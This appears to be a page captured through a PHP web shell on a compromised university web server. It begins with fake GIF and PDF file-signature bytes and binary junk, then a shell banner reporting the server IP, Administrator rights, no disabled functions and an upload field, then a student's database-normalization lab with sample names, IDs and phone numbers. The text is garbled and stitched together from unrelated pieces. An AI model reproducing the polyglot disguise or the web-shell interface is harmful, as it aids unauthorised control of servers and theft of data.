GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/uploads/20243/CST1600/41/16316941/Lab07/ |
Upload File : |
UNF: student(Name, HomeMobilePhoneNumbers, StudentID, MajorCode1, MajorCode2, MajorCode3) Note: Name has two things of data, first and last name. there are also two diffrent types of phone numbers in HomeMobilePhoneNumber. multiple tables with the same type of data with majorCodes and not eveyone has three major codes 1NF: studentName(StudentID*, FirstName, LastName) studentPhone(StudentID*@, PhoneNumber*, Type) majors(MajorCode*) studentMajor(StudentID*@, MajorCode*@) Note: OK 2NF: studentName(StudentID*, FirstName, LastName) studentPhone(StudentID*@, PhoneNumber*, Type) majors(MajorCode*) studentMajor(StudentID*@, MajorCode*@) Note: OK 3NF: studentName(StudentID*, FirstName, LastName) studentPhone(StudentID*@, PhoneNumber*, Type) majors(MajorCode*) studentMajor(StudentID*@, MajorCode*@) Three data rows: studentName(StudentID*, FirstName, LastName) 34673656, Avram, Hinton 83681840, Hayes, Gibson 94086534 Kristen, Acosta studentPhone(StudentID*@, PhoneNumber*, Type) 34673656, 103-391-7811, Home 34673656, 676-683-6301, Mobile 83681840, 447-149-5334, Home 94086534, 972-658-1570, Mobile majors(MajorCode*) CP CSS CST MAD NSA studentMajor(StudentID*@, MajorCode*@) 34673656, CSS 34673656, CST 34673656, NSA 83681840, CST 94086534, CP 94086534, MAD